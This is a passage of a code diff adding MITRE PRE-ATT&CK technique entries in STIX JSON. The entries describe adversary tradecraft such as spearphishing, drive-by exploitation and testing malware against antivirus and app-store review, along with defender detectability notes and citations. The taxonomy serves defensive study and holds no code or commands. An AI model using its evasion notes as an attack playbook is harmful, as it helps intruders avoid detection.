China\u2019s Cyber Espionage Units. Retrieved March 5, 2017.", + "source_name": "APT1" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_old_attack_id": "PRE-T1146", + "x_mitre_detectable_by_common_defenses_explanation": "Defenders can implement mechanisms to analyze links and identify levels of concerns. However, the adversary has the advantage of creating new links or finding ways to obfuscate the link so that common detection lists can not identify it. Detection of a malicious link could be identified once the file has been downloaded.", + "x_mitre_difficulty_for_adversary_explanation": "Sending emails is trivial and expected. The adversary needs to ensure links don't get tampered, removed, or flagged as a previously black-listed site.", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nEmails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)", + "x_mitre_difficulty_for_adversary": "Yes", + "id": "attack-pattern--489a7797-01c3-4706-8cd1-ec56a9db3adc", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "type": "attack-pattern", + "name": "Spear phishing messages with malicious links", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "x_mitre_detectable_by_common_defenses": "Yes", + "external_references": [ + { + "external_id": "T1369", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1369" + }, + { + "description": "Nick Johnston. (2014, March 13). Google Docs Users Targeted by Sophisticated Phishing Scam. Retrieved March 29, 2017.", + "source_name": "GoogleDrive Phishing" + }, + { + "description": "Bob Griffin. (2015, May 16). THE ON-GOING THREAT OF SOCIAL ENGINEERING. Retrieved March 9, 2017.", + "source_name": "RSASEThreat" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_old_attack_id": "PRE-T1145", + "x_mitre_detectable_by_common_defenses_explanation": "End user training and awareness is the primary defense for flagging a plain text email so the end user does not respond or take any requested action (e.g., calling a designated number).", + "name": "Spear phishing messages with text only", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nEmails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "id": "attack-pattern--2fc04aa5-48c1-49ec-919a-b88241ef1d17", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Sending messages with text only should be accepted in most cases (e.g., not being filtered based on source, content).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses": "No", + "external_references": [ + { + "external_id": "T1368", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1368" + }, + { + "description": "Sophos Labs. (2006, July 7). PayPal phone phish scam uses voice recording to steal money. Retrieved March 29, 2017.", + "source_name": "Paypal Phone Scam" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_old_attack_id": "PRE-T1174", + "x_mitre_detectable_by_common_defenses_explanation": "Depending on the specific method of phishing, the detections can vary. For emails, filtering based on DKIP+SPF or header analysis can help detect when the email sender is spoofed. When it comes to following links, network intrusion detection systems (NIDS), firewalls, removing links, exploding shortened links, proxy monitoring, blocking uncategorized sites, and site reputation based filtering can all provide detection opportunities.", + "name": "Spearphishing for Information", + "description": "Spearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it it doesn't leverage malicious code. All forms of spearphishing are elctronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "id": "attack-pattern--b182f29c-2505-4b32-a000-0440ef189f59", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Sending emails is trivial, and, over time, an adversary can refine their technique to minimize detection by making their emails seem legitimate in structure and content.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1397", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1397" + }, + { + "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.", + "source_name": "ATTACKREF GRIZZLY STEPPE JAR" + } + ], + "x_mitre_detectable_by_common_defenses": "Partial" + }, + { + "x_mitre_old_attack_id": "PRE-T1014", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "name": "Submit KITs, KIQs, and intelligence requirements", + "description": "Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-direction" + } + ], + "id": "attack-pattern--03da0598-ed46-4a73-bf43-0313b3522400", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1237", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1237" + }, + { + "description": "Office of the Director of National Intelligence. (2015, January 02). Retrieved March 5, 2017.", + "source_name": "ICD204" + }, + { + "description": "Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved May 19, 2017.", + "source_name": "KIT-Herring" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1148", + "x_mitre_detectable_by_common_defenses_explanation": "Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not foolproof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised. The added challenge for a conditional watering hole is the reduced scope and likely reduced ability to detect or be informed. Determining deltas in content (e.g., differences files type/size/number/hashes) downloaded could also aid in detection.", + "name": "Targeted client-side exploitation", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "id": "attack-pattern--72923cae-6c8c-4da2-8f48-b73389529c25", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery. The additional challenge is the reduced set of options for web sites to compromise since the set is reduced to those often visited by targets of interest.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses": "Yes", + "external_references": [ + { + "external_id": "T1371", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1371" + }, + { + "description": "Bob Griffin. (2015, May 16). THE ON-GOING THREAT OF SOCIAL ENGINEERING. Retrieved March 9, 2017.", + "source_name": "RSASEThreat" + }, + { + "description": "Wikipedia contributors. (2017, March 8). Stagefright (bug). Retrieved March 9, 2017.", + "source_name": "WikiStagefright" + }, + { + "description": "Fahmida Y. Rashid. (2015, February 11). Chinese Attackers Hacked Forbes Website in Watering Hole Attack: Security Firms. Retrieved March 7, 2017.", + "source_name": "ForbesSecurityWeek" + }, + { + "description": "Kurt Baumgartner. (2016, October 3). On the StrongPity Waterhole Attacks Targeting Italian and Belgian Encryption Users. Retrieved May 9, 2017.", + "source_name": "StrongPity-waterhole" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_old_attack_id": "PRE-T1143", + "x_mitre_detectable_by_common_defenses_explanation": "Extremely hard to identify (in the launch phase) what message via social media is hostile versus what is not. Increased use of encrypted communications increases the difficulty average defender's have in detecting use of this technique.", + "name": "Targeted social media phishing", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nSending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "id": "attack-pattern--eb517589-eefc-480e-b8e3-7a8b1066f6f1", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Sending messages to individuals identified as a target follows normal tradecraft for using social media.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses": "No", + "external_references": [ + { + "external_id": "T1366", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1366" + }, + { + "description": "Mandiant. (n.d.). APT1: Exposing One of China\u2019s Cyber Espionage Units. Retrieved March 5, 2017.", + "source_name": "APT1" + }, + { + "description": "Bart Blaze. (2016, November 20). Nemucod downloader spreading via Facebook. Retrieved March 28, 2017.", + "source_name": "Nemucod Facebook" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_old_attack_id": "PRE-T1017", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "name": "Task requirements", + "description": "Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-direction" + } + ], + "id": "attack-pattern--b93bd611-da4e-4c84-a40f-325b712bed67", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1240", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1240" + }, + { + "description": "Clyde R. Heffter. (2011, August 4). A Fresh Look at Collection Requirements. Retrieved March 2, 2017.", + "source_name": "Heffter" + }, + { + "description": "Joint Chiefs of Staff. (2012, January 05). Joint and National Intelligence Support to Military Operations. Retrieved March 2, 2017.", + "source_name": "JP2-01" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1170", + "x_mitre_detectable_by_common_defenses_explanation": "The app store operators (e.g., Apple and Google) may detect the attempts, but it would not be observable to those being attacked.", + "name": "Test ability to evade automated mobile application security analysis performed by app stores", + "description": "Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). An adversary can submit multiple code samples to these stores deliberately designed to probe the stores' security analysis capabilities, with the goal of determining effective techniques to place malicious applications in the stores that could then be delivered to targeted devices. (Citation: Android Bouncer) (Citation: Adventures in BouncerLand) (Citation: Jekyll on iOS) (Citation: Fruit vs Zombies)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "test-capabilities" + } + ], + "id": "attack-pattern--c9e85b80-39e8-42df-b275-86a2afcea9e8", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "An adversary can submit code remotely using throwaway accounts, although a registration fee may need to be paid for each new account (e.g., $99 for Apple and $25 for Google Play Store).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1393", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1393" + }, + { + "description": "Jon Oberheide and Charlie Miller. (2012). DISSECTING THE ANDROID BOUNCER. Retrieved April 12, 2017.", + "source_name": "Android Bouncer" + }, + { + "description": "Nicholas J. Percoco and Sean Schulte. (2012). Adventures in BouncerLand. Retrieved April 12, 2017.", + "source_name": "Adventures in BouncerLand" + }, + { + "description": "Tielei Wang, Kangjie Lu, Long Lu, Simon Chung, and Wenke Lee. (2013). Jekyll on iOS: When Benign Apps Become Evil. Retrieved April 12, 2017.", + "source_name": "Jekyll on iOS" + }, + { + "description": "Claud Xiao. (2016). Fruit vs Zombies: Defeat Non-jailbroken iOS Malware. Retrieved April 12, 2017.", + "source_name": "Fruit vs Zombies" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1133", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary controls the test and defender likely has no visibility.", + "name": "Test callback functionality", + "description": "Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "test-capabilities" + } + ], + "id": "attack-pattern--0649fc36-72a0-40a0-a2f9-3fc7e3231ad6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Adversary controls or acquires all pieces of infrastructure and can test outside of defender's visibility.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1356", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1356" + }, + { + "description": "Tony Lee. (2012, December 11). Testing Your Defenses - Beaconing. Retrieved March 9, 2017.", + "source_name": "LeeBeaconing" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1134", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary controls the test and defender likely has no visibility.", + "name": "Test malware in various execution environments", + "description": "Malware may perform differently on different platforms (computer vs handheld) and different operating systems ([Ubuntu](http://www.ubuntu.com) vs [OS X](http://www.apple.com/osx)), and versions ([Windows](http://windows.microsoft.com) 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "test-capabilities" + } + ], + "id": "attack-pattern--e042a41b-5ecf-4f3a-8f1f-1b528c534772", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Adversary can simulate most environments (e.g., variable operating systems, patch levels, application versions) with details available from other techniques.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1357", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1357" + }, + { + "description": "Morton Christiansen. (2010, May 7). Bypassing Malware Defenses. Retrieved March 9, 2017.", + "source_name": "BypassMalwareDefense" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1136", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary controls the testing and can ensure data does not leak with proper OPSEC on testing.", + "name": "Test malware to evade detection", + "description": "An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "test-capabilities" + } + ], + "id": "attack-pattern--8b57a8f1-9cbc-4b95-b162-cc2a1add94f2", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Adversary has the ability to procure products and not have reporting return to vendors or can choose to use freely available services", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1359", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1359" + }, + { + "description": "Damballa Day Before Zero Blog. (2009, December 17). Malware QA and Exploit Testing Services \u2013 Virtest.com. Retrieved March 9, 2017.", + "source_name": "MalwareQAZirtest" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1137", + "x_mitre_detectable_by_common_defenses_explanation": "Defender often install badging, cameras, security guards or other detection techniques for physical security and monitoring.", + "name": "Test physical access", + "description": "An adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "test-capabilities" + } + ], + "id": "attack-pattern--18bfa01c-9fa9-409f-91f5-4a2822609d81", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Requires a physical presence in the space being entered and increased risk of being detected/detained (e.g., recorded on video camera)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1360", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1360" + }, + { + "description": "Orange County Intelligence Assessment Center. (n.d.). Pre-Incident Indicators. Retrieved March 28, 2017.", + "source_name": "OCIAC Pre Incident Indicators" + }, + { + "description": "The Canadian Press. (2012, August 22). Reporter says Chinese news agency asked him to spy. Retrieved March 9, 2017.", + "source_name": "NewsAgencySpy" + } + ], + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "x_mitre_old_attack_id": "PRE-T1069", + "x_mitre_detectable_by_common_defenses_explanation": "If using a common service like [https://www.virustotal.com VirusTotal], it is possible to detect. If the adversary uses a hostile, less well-known service, the defender would not be aware.", + "name": "Test signature detection", + "description": "An adversary can test the detections of malicious emails or files by using publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don't publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-weakness-identification" + } + ], + "id": "attack-pattern--57061a8a-d7c5-42a9-be60-f79526b95bf6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Easy to automate upload/email of a wide range of data packages.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1292", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1292" + }, + { + "description": "Kim Zetter. (14, September 2). A Google Site Meant to Protect You Is Helping Hackers Attack You. Retrieved March 9, 2017.", + "source_name": "WiredVirusTotal" + } + ], + "x_mitre_detectable_by_common_defenses": "Partial" + }, + { + "x_mitre_old_attack_id": "PRE-T1138", + "x_mitre_detectable_by_common_defenses_explanation": "Use of sites like [https://www.virustotal.com VirusTotal] to test signature detection often occurs to test detection. Defender can also look for newly added uploads as a precursor to an adversary's launch of an attack.", + "name": "Test signature detection for file upload/email filters", + "description": "An adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "test-capabilities" + } + ], + "id": "attack-pattern--c9ac5715-ee5c-4380-baf4-6f12e304ca93", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Current open source technologies and websites exist to facilitate adversary testing of malware against signatures.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1361", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1361" + }, + { + "description": "Kim Zetter. (14, September 2). A Google Site Meant to Protect You Is Helping Hackers Attack You. Retrieved March 9, 2017.", + "source_name": "WiredVirusTotal" + } + ], + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "x_mitre_old_attack_id": "PRE-T1164", + "x_mitre_detectable_by_common_defenses_explanation": "This varies depending on the amount of monitoring within the environment. Highly secure environments might have more innate monitoring and catch an adversary doing this more easily.", + "name": "Unauthorized user introduces compromise delivery mechanism", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nIf an adversary can gain physical access to the target's environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "compromise" + } + ], + "id": "attack-pattern--b3253d9e-ba11-430f-b5a3-4db844ce5413", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "This likely requires the adversary to have close or insider access to introduce the mechanism of compromise.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_detectable_by_common_defenses": "No", + "external_references": [ + { + "external_id": "T1387", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1387" + }, + { + "description": "Jeremy Kirk. (2008, December 16). Swedish Police Warn of Tampered Credit Card Terminals. Retrieved April 2, 2017.", + "source_name": "Credit Card Skimmers" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_old_attack_id": "PRE-T1149", + "x_mitre_detectable_by_common_defenses_explanation": "With the use of malware detonation chambers (e.g., for web or email traffic), this improves detection. Encryption and other techniques reduces the efficacy of these defenses.", + "name": "Unconditional client-side exploitation/Injected Website/Driveby", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "id": "attack-pattern--58d0b955-ae3d-424a-a537-2804dab38793", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Placing an exploit on a public web site for driveby types of delivery is not impossible. However, gaining access to a web site with high enough traffic to meet specific objectives could be the challenge.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detectable_by_common_defenses": "Partial", + "external_references": [ + { + "external_id": "T1372", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1372" + }, + { + "description": "Torsten George. (2014, October 15). The Internet's Big Threat: Drive-by Attacks. Retrieved March 7, 2017.", + "source_name": "GeorgeDriveBy" + }, + { + "description": "Lee Bell. (2013, January 8). Drive-by exploits are the top web security threat, says ENISA. Retrieved March 7, 2017.", + "source_name": "BellDriveBy" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ] + }, + { + "x_mitre_old_attack_id": "PRE-T1147", + "x_mitre_detectable_by_common_defenses_explanation": "Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not fool proof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.", + "name": "Untargeted client-side exploitation", + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "id": "attack-pattern--2ec57bf1-fcc3-4c19-9516-79b7fde483af", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses": "Yes", + "external_references": [ + { + "external_id": "T1370", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1370" + }, + { + "description": "Bill Marczak, Jakub Dalek, John Scott-Railton, Ron Deibert, Sarah McKune. (2015, April 10). China\u2019s Great Cannon. Retrieved March 9, 2017.", + "source_name": "CitizenLabGreatCannon" + } + ], + "modified": "2018-10-17T00:14:20.652Z" + }, + { + "x_mitre_old_attack_id": "PRE-T1139", + "x_mitre_detectable_by_common_defenses_explanation": "Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.", + "name": "Upload, install, and configure software/tools", + "description": "An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "stage-capabilities" + } + ], + "id": "attack-pattern--e8471f43-2742-4fd7-9af7-8ed1330ada37", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Adversary has control of the infrastructure and will likely be able to add/remove tools 